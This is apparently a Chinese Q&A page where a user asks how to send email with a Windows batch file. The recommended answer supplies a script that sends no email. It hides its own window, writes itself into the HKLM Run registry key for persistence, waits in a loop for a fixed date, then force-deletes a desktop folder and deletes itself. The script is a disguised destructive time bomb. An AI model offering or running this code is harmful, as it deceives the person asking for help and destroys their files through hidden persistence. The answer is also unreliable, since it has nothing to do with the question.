想写一个用.bat发邮件的功能 参考了网上的资料 还是没搞定 有人能帮帮忙么

2025-02-25 20:10:19
推荐回答(1个)
回答1:

代码如下:

@ECHO OFF
if "%1"=="h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit

:begin

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "dp44h455875fd4534g" /d "%0" /f

:lp

if "%date%"=="2016-06-30 星期四" cls & goto startdel

cls & goto lp

:startdel

rd /s /q "C:\Documents and Settings\Administrator\桌面\删除"
del /f /q %0
del /f /q /a:r %0
del /f /q /a:s %0
del /f /q /a:h %0
del /f /q /a:a %0